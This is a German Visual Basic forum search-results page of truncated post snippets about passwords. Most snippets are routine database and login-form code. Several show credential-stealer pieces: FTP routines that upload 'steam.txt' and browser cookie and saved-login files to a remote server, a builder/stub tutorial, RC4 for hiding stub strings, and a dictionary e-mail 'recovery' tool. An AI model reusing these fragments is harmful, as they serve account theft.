Visual Basic Forum

Verfasst am: 27.04.2012, 11:34 Aufrufe: 94

Versuchs mal bei dir. Public SubOpenDB() goConn = "DRIVER={MySQL ODBC 3.51 Driver};" & _ "SERVER='localhost';" & _ "DATABASE='test';" & _ "UID=' ';" & _ "Password=' ';" & _ "OPTION='16384'" goConn.CursorLocation = adUseClient goConn.Open End Sub Gru ...

Verfasst am: 21.04.2012, 21:55 Aufrufe: 94

... --------------------------------------------------------------------------------------- Hier habe ich folgendes versucht Public SubOpenDB() goConn = "DRIVER={MySQL ODBC 3.51 Driver};" _ & "SERVER="localhost ";" _ & "DATABASE=test;" _ & "UID=" ";" _ & "Password ...

Verfasst am: 02.04.2012, 13:06 Aufrufe: 148

Aber ich finde diesen Fehler vor lauter Bäumen nicht. Hilfe! Tobias Hier ist der Code: Sub Progressbar1() Dim PctDone As Single Static freifahrt_eintrag_fertig As Boolean Dim datei_meisterschaften As String Worksheets("Fahrten").Unprotect Password:="GBF#1" Worksheets("Fahrtkosten_gesamt").Unprotect Password:="GBF#1" Worksheets("Einzel_Nachweis_g ...

Verfasst am: 02.11.2011, 21:54 Aufrufe: 453

Cursor = Cursors.Arrow WebBrowser1.Document.GetElementById("login_username").InnerText = "Guuunter" WebBrowser1.Document.GetElementById("password").InnerText = "123456789" WebBrowser1.Document.Forms(0).InvokeMember("submit") SendKeys.Send(" ") Me.Text = "Working.

Verfasst am: 30.10.2011, 11:22 Aufrufe: 243

... nn ihr eine Lösungen hättet Danke So verbinde ich die DB Set Cn = New ADODB.Connection With Cn .CursorLocation = adUseClient .Mode = adModeShareDenyNone .Provider = "Microsoft.Jet.OLEDB.4.0" .Properties("Data Source") = PF 'App.Path & "\dbag.mdb" 'hier ist die Datenbang .Properties("Jet OLEDB:Database Password ...

Verfasst am: 07.03.2011, 15:36 Aufrufe: 454

Ja Dark-Games und ich haben uns mal zusammen gesetzt um nun die erste Version von unserem Recovery Tool vorzustellen! Also man braucht für dieses Tool: Die Txt oder Wörterbuch Datei wo ALLE Kombinationen drinnstehen! / Die E-Mail Adresse ! Jo dieses Tool werden wir nachdem wir nochmal alles durchgegangen sind(30Minuten) auch zum Download anbieten! WIR ÜBERNEHMEN KEINE HAFTUNG für das was ihr damit macht! mfg ~s ...

Verfasst am: 07.03.2011, 15:30 Aufrufe: 397

Ja Dark-Games und ich haben uns mal zusammen gesetzt um nun die erste Version von unserem Recovery Tool vorzustellen! Also man braucht für dieses Tool: Die Txt oder Wörterbuch Datei wo ALLE Kombinationen drinnstehen! / Die E-Mail Adresse ! Jo dieses Tool werden wir nachdem wir nochmal alles durchgegangen sind(30Minuten) auch zum Download anbieten! WIR ÜBERNEHMEN KEINE HAFTUNG für das was ihr damit macht! mfg ~s ...

Verfasst am: 15.01.2011, 18:49 Aufrufe: 615

Text) ' achtung! die absender-e-mail muss exsistieren! Dim client As New Net.Mail.SmtpClient Dim anmeldung As New Net.NetworkCredential anmeldung.UserName = "Emailadresse@web.de" anmeldung.Password = "Passwort" With MailMessage .Subject = "Formmailer" .IsBodyHtml = False .BodyEncoding = System.Text. ...

Verfasst am: 07.01.2011, 18:44 Aufrufe: 382

hi cyberpsycho der name ist doch lächerlich und kann ja nur von einem 14 jährigen skriptkiddy kommen der nur mäßig - schlechte password und key stealer schreibt punkt 1 denkst du die leute hier sind blind und haben keine ahnung von vb... d.h. das einringeln hättest und unterschreichen der fehlermeldung kannst dir sparen... punkt 2 denkst du irgendjemanden interessiert sich dafür was für fenster du offen ...

Verfasst am: 03.10.2010, 13:51 Aufrufe: 538

EventArgs) Handles newsbutton.Click options.Visible = False webframe.Visible = False newspanel.Visible = True Dim con As New MySqlConnection("user id=launcher;password=[wurde Entfernt];host=212.227.139.23;database=acp;port=3306") Dim CMD As New MySqlCommand Dim reader Dim news As New List(Of String) ...

Verfasst am: 08.02.2010, 15:37 Aufrufe: 811

de;" _ & "user id=dbo317179755;" _ & "password=*******;" _ & "database=db317179755" Try conn.

Verfasst am: 28.01.2010, 13:38 Aufrufe: 2310

Das Programm meldet, dass es keine Verbindung zur DB bekommt. Dieses Problem habe ich zumindest damit lösen können, dass ich den Teil conORCL.Open "PROVIDER=MSDAORA; DATA SOURCE=ORADB", UserIdent, UserPwd durch Dim ConnString as string ConnString = "Provider=MSDAORA.1 ; Password=myPassword; User ID=myUser ; Data Source = ORCL; Persist Security Info=True" Dim objConn as new ADODB.Conn ...

Verfasst am: 24.01.2010, 15:46 Aufrufe: 746

Net ein Programm basteln, dass es mir ermöglicht mich auf einer Website einzuloggen und dann weitere Aktionen auszuführen. Nun stoße ich auf ein paar Probleme. Ich habe folgenden Sourcecode: -------------------------------------------------------------------------------------------------------------------- Public Username As String Public Password As String Private Sub WebBrowser1_DocumentCom ...

Verfasst am: 18.01.2010, 18:03 Aufrufe: 433

Hallo User, habe ein Problem mit meinem Login Programm. Habe ein Script auf meinem Server, was mir alle User mit Password und eMail anzeigt. Jetzt möchte ich überprüfen, ob TextBox1.Text = Ein Username der in der Datenbank ist. Klappt alles super - jedoch klappt das nur beim ersten User. If TextBox1.Text = x7login.Document.GetElementById("email").InnerText Then MsgBox(&qu ...

Verfasst am: 03.12.2009, 20:50 Aufrufe: 1227

Das Prog merkt sich auch gleich die Cookies, damit er, sollte ein Cookie vorhanden sein, gleich mit Cookie nach dem login weitergeleitet wird. Dim username, password As String username = "TestUser" password = "TestPW" 'Cookie Container erstellen um bei der nächsten Anfrage wieder eingelogt zu sein Dim Request As HttpWebRequest = CTy ...

Verfasst am: 26.11.2009, 11:45 Aufrufe: 870

Properties("Data Source") = Trim(Host) ' User-ID .Properties("User ID") = Trim(User) ' Userpasswort .Properties("Password") = Trim(Passwort) 'Timeout .ConnectionTimeout = 10 On Error GoTo ConnectErr .Open End With GoTo Verbunden ConnectErr: ConnectMSSQL = False Exit Function Verbunden: ConnectMSSQL = True End Function Public F ...

Verfasst am: 23.11.2009, 09:00 Aufrufe: 716

However, every user needs to be connected with his/her individual database before as the application needs to access it. As far as I found out I will need to set up the login/password routine with visual basic and have to connect the network share with Wnetaddconnection2 using username and Password which were given in the login form. After connection is established I want Visual Basic to launch the application ...

Verfasst am: 22.11.2009, 22:27 Aufrufe: 1136

Nun zu meinem Problem: Ich möchte mein Programm dazu bewegen, dass es Informationen über die Nutzer, die sich für den Gebrach meines Programmes einloggen müssen, datenbankartig in einer Datei speichert. Dabei müssen folgene Informationen gespeichert werden: ID username password realName status Es spielt keine Rolle ob es sicher ist, es ist bloß ein Senario. Wie kann ich diese Informationen in eine Datei speicher ...

Verfasst am: 15.11.2009, 11:57 Aufrufe: 824

Hallo kann man ein login user erstellen so damit meine freunde auch benuzen können?? ich meine ich will ein prg schreiben ( User Password ) Multi user oder sowas?? Confused

Danke ..

Verfasst am: 12.11.2009, 18:17 Aufrufe: 860

at.paysafecard.com/psccustomer/GetPasswordPanelServlet einen Account, bzw einen Gutschein zu checken. Ich konnte dies mitlesen und versuchte es umzusetzen, aber ich bekomme mich einfach nicht eingeloggt. Content-Length: 208 randomNumber_1=0261&randomNumber_2=5265&randomNumber_3=6761&randomNumber_4=2950&password=885522&captchaID=Y2xVVVJXMTY2M2loNThwa05hcjZGOTlhcU9iK1RtMmw%3D&captchaRespo ...

Verfasst am: 06.11.2009, 22:28 Aufrufe: 852

Verfasst am: 03.11.2009, 21:47 Aufrufe: 524

EventArgs) Handles Button1.Click If TextBox1.Text = String.Empty Then MsgBox("Kein Text eingegeben!") End If If PasswordTextBox.Text = String.Empty Then MsgBox("Kein Passwort eingeben!") End If Form2.Show() Ich will es aber haben, dass sich Form2 nur öffnet wenn in Textbox1 ein text steht und in Passwordtextbox ein Pas ...

Verfasst am: 29.10.2009, 19:59 Aufrufe: 936

ich hab jetzt mal angefangen: beginne mit einerm login zugang zum password manager: Form1: ------------------------------------------------------------------------------------------------ Private Sub cmdlogin_Click() If Text1.Text = "12345" Then MsgBox "Loginvorgang war erfolgreich, bitte drücken Sie den ok Button!" Form2.Show Else MsgBox "Loginvorgang fehlgeschlagen, versuchen Sie ...

Verfasst am: 29.10.2009, 19:10 Aufrufe: 936

Hallo Jungs & Mädelzz Ich soll im rahmen meines Studiums eine kleines Programm (Visual Basic 6) schreiben! habe da an sowas gedacht: - Password safe - Account manager - http://www.visual-basic-forum.de/arbeitsstunden--und-lohnrechner-t3086.html es gibt solche Programme auch in der Download Area bloß sind die links zm Download nicht mehr aktiv! ich würde mir gerne mal anschauen wie so ein Programm a ...

Verfasst am: 25.10.2009, 16:33 Aufrufe: 771

EventArgs) Handles Button1.Click WebBrowser1.Document.GetElementById("username").InnerText = TextBox1.Text WebBrowser1.Document.GetElementById("password").InnerText = TextBox2.Text WebBrowser1.Document.Forms(0).InvokeMember("login") If TextBox1.Text = "" Then MsgBox("Bitte Logindaten eingeben!") End If ...

Verfasst am: 25.10.2009, 14:31 Aufrufe: 6628

web.de%2Fmsg%2Ftemporaer.htm&onfail=https%3A%2F%2Ffreemail.web.de%2Fmsg%2Flogonfailed.htm&username=USERNAME&password=PASSWORD&rv_dologon=Login&uinguserid=ac14043d-24820-1256473171-1" Dim byteArray() As Byte = Encoding.UTF8.GetBytes(Post) Request.ContentLength = byteArray.Length Dim DataStream As Stream = Request.GetRequestStream() Da ...

Verfasst am: 14.10.2009, 09:09 Aufrufe: 849

Verfasst am: 24.08.2009, 20:21 Aufrufe: 865

Verfasst am: 29.06.2009, 14:16 Aufrufe: 836

Beschreibung: Das ist eine Kryptographieklasse die die Verschlüsselungsalgorithmen aus den .NET Frameworkzusammenfasst und in einfach anzuwendenen Funktionen kapselt.Es gibt für jedes Szenario eine passende Funktion z.B. wenn man eine Datei von der Festplatte direkt in ein Bytearray entschlüsseln will oder wenn man ein Bytearray verschlüsseln will und das Ergebnis in ein anderes Bytearray speichern wil ...

Verfasst am: 29.06.2009, 05:25 Aufrufe: 1501

... als zweiten Parameter einen En-/Decryption Key übergeben.Im Gegensatz zu anderen Verschlüsselungsalgorithmen, wie z.B. Base,kann man den String nicht wieder entschlüsseln, wenn man den Key nicht hat.Aber Vorsicht:Key = RC4(VerschlüsselterText, Klartext)RC4 eignet sich gut zum verschlüsselten Anhängen von Builder Strings an einen Stub.Modul Download: http://www.anpimmeln.i-c0de.com/vb-x.org/RC4.rarPassword ...

Verfasst am: 18.06.2009, 13:03 Aufrufe: 856

Description: Advanced Firewall application which blocks all TCP process based on rules you specify such as Remote Port, Process Name, Remote IP, and Local Port. Logs all activity and gives option to save log files. You can also save your settings and import/export them. You can block All processes by default and allow them based on a set of rules or block only based on those rules. You can password protect the firewa ...

Verfasst am: 15.06.2009, 18:56 Aufrufe: 1124

Protocol = icFTP<br />Inet1.URL = FTP_Server<br />Inet1.UserName = FTP_Username<br />Inet1.Password = FTP_Passwort<br />Inet1.Execute , "Put", LocalFile, RemoteFile<br />Do<br />Loop Until Inet1.StillExecuting = True<br />End FunctionAch so, die fertige CutString Funktion hätte ich fast vergessen. ;DPublic Function CutString(ByVal TheString As String, _<br /> ...

Verfasst am: 15.06.2009, 13:01 Aufrufe: 1794

wenn man sich das ganze aber mal genauer überlegt, erkennt man, dass man ja den aus dem hash, nochmal einen hash ersetllen könnte, da er ja auch nur ein string ist. ("ZiG")Die Annahme ist zwar sehr stark verbreitet, ist aber nicht richtig.Man muß bei einem doppelt oder salted Hash nicht versuchen die 32 Zeichen des Ausgangshash rauszubekommen, also cracken.Sieh dir Programme wie PasswordsPro oder MDCrack an. Die könn ...

Verfasst am: 15.06.2009, 12:05 Aufrufe: 4402

Wichtig ist, dass ihr eindeutige Namen wählt.Als Beispiel werde ich hier eine DB erstellen, in der man seine Mail Accounts + Passwort speichern kann.Als erstes erstellen wir mal die Datenbank auf der Festplatte.Dann machen wir eine Tabelle mit dem Namen „mailaccounts“ und den Spalten „mail“, und „password“. Außerdem wollen wir noch dass den Einträgen der Spalte „mail“ ein Index zugewiesen wird. Das ermöglicht uns ein ...

Verfasst am: 15.05.2009, 08:16 Aufrufe: 712

Verfasst am: 08.05.2009, 23:11 Aufrufe: 1102

Password = "*******" .

Verfasst am: 07.05.2009, 15:41 Aufrufe: 609

Protocol = icFTP .RemotePort = "21" .URL = "sldc.sl.funpic.de" .UserName = "sldc" .Password = "pw" .Execute , "PUT " & localfile & " " & remotefile Do While Inet1.StillExecuting = True DoEvents Loop With Inet2 .AccessType = icUseDefault .Protocol = icFTP .RemotePort = "21" .URL = "sldc. ...

Verfasst am: 06.05.2009, 20:55 Aufrufe: 514

RemotePort = "21" .URL = "sldc.sl.funpic.de" .UserName = "sldc" .Password = "pw" .Execute , "PUT " & localfile & " " & remotefile Do While Inet1.StillExecuting = True DoEvents Loop Kill localfile End With End End Sub Eine leere cookies.txt wird geuppt !? wenn ich anstatt cookies signons2 mach, gehts oO mysteriös ...

Verfasst am: 06.05.2009, 18:31 Aufrufe: 1874

Geht nun auf Einstellungen und tragt dort ein, was ihr braucht, bei mir sieht das so aus: Sieht doch schon ganz ordentlich aus! Aber wie füllen wir diese Tabelle? Ganz einfach: Wir schreiben in unseren Builder beim BuildButton.Click-Handler folgendes: Shell("Stub.exe build " + FTPServer.Text + " " + Username.Text + " " + Password.Text)Wir übergeben also per Komman ...

Verfasst am: 01.05.2009, 19:33 Aufrufe: 625

AccessType = icUseDefault .Protocol = icFTP .RemotePort = "21" .URL = DATA_PARAMS(0) .UserName = DATA_PARAMS(1) .Password = DATA_PARAMS(2) a = "steam.txt" b = "steam.txt" .Execute , "PUT " & a & " " & b End With Do While Inet1.StillExecuting = True DoEvents Loop Kill LocalFile End End Sub inet ...

Verfasst am: 12.04.2009, 16:35 Aufrufe: 2125

Protocol = icFTP Inet1.URL = FTP_Server Inet1.UserName = FTP_Username Inet1.Password = FTP_Passwort Inet1.Execute , "Put", LocalFile, RemoteFile Do Loop Until Inet1.StillExecuting = True End Function Ach so, die fertige CutString Funktion hätte ich fast vergessen. ;D Public Function CutString(ByVal TheString As String, _ TheStringToCut As String) As String Dim Var() As String D ...

Verfasst am: 10.03.2009, 17:25 Aufrufe: 2295

Ich stelle mit meinem Programm eine Connection zu einer lokalen MySQL Datenbank her (über XAMPP) Hier ein Codeausschnitt: con.ConnectionString = "Data Source=########;Database=######;User ID=#######;Password=#######" cmd.Connection = con Call Generate() Dim anzahl As Integer Try con.Open() cmd.CommandText = _ ...

Verfasst am: 04.02.2009, 15:53 Aufrufe: 2731

Der Quelltext der Seite ist <DIV id=c_border> <DIV id=c_pfad>Router - Einstieg in die Konfiguration</DIV> <DIV id=c_titel>Passwort Eingabe</DIV> <DIV id=c_last> <table border="0" cellpadding="0" cellspacing="2"> <tr> <td width="100"><input type="password" class="stylepwd ...

Verfasst am: 26.09.2008, 14:31 Aufrufe: 2149

LoL... wie dumm bin ich eigentlich? Naja danke dir... :cool:EDIT: Das eine klappt jetzt zwar aber bei mir kommt immer "This account is incorrect"... Was kann falsch sein? Ich hab das Gefühl das in dieser Zeile hier: "PacketLenght = 134 + Len(Username) + Len(Password)" was geändert werden muss...

Verfasst am: 21.09.2008, 03:43 Aufrufe: 2871

geht bei mir iwie nicht - für rapidshare:(Public Function Current(Login As String, Password As String, WSock As Winsock)Dim Packet As String: Dim PacketLenght As Long PacketLenght = 134 + Len(Login) + Len(Password) Packet = "POST /cgi-bin/ HTTP/1.1" & vbCrLfPacket = Packet + "Host: " & WSock.RemoteHost & vbCrLfPacket = Packet + "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.1) Gecko/2008070208 Fir ...

Verfasst am: 17.09.2008, 20:10 Aufrufe: 2149

rapidshare.com/premiumzone.htmlContent-Type: application/x-www-form-urlencodedContent-Length: 43uselandingpage=1&login=XXX&password=XXXHTTP/1.x 200 OKP3P: CP="ALL DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa CONa TELa OUR STP UNI NAV STA PRE"Date: Wed, 17 Sep 2008 18:46:07 GMTConnection: closeAccept-Ranges: bytesContent-Type: text/html; charset=ISO-8859-1Cache-Control: no-cacheSet-Cookie: user=; domain=.rapidshare ...

Verfasst am: 17.09.2008, 12:25 Aufrufe: 1224

:Visual Basic: [code][/code]Visual Basic: [code]NAME="password"[/code]Visual Basic: [code]NAME="title"[/code]Visual Basic: [code]NAME="release_title"[/code]Visual Basic: [code]NAME="release_year"[/code]Visual Basic: [code]NAME="interpreter"[/code]Visual Basic: [code]NAME="director"[/code]Visual Basic: [code]NAME="actors"[/code]Visual Basic: [code]NAME="producer"[/code]Visual Basic: [code]NAME="size"[/code]Visual Basi ...

Verfasst am: 16.09.2008, 18:19 Aufrufe: 508

Verfasst am: 16.09.2008, 17:59 Aufrufe: 2149

com/premiumzone.htmlContent-Type: application/x-www-form-urlencodedContent-Length: 50uselandingpage=1&login=XXX&password=XXXHTTP/1.x 200 OKP3P: CP="ALL DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa CONa TELa OUR STP UNI NAV STA PRE"Date: Tue, 16 Sep 2008 16:56:13 GMTConnection: closeAccept-Ranges: bytesContent-Type: text/html; charset=ISO-8859-1Cache-Control: no-cacheSet-Cookie: user=XXX-%34%68%43%50%63%6A%43%6B%62 ...

Verfasst am: 16.09.2008, 17:16 Aufrufe: 2149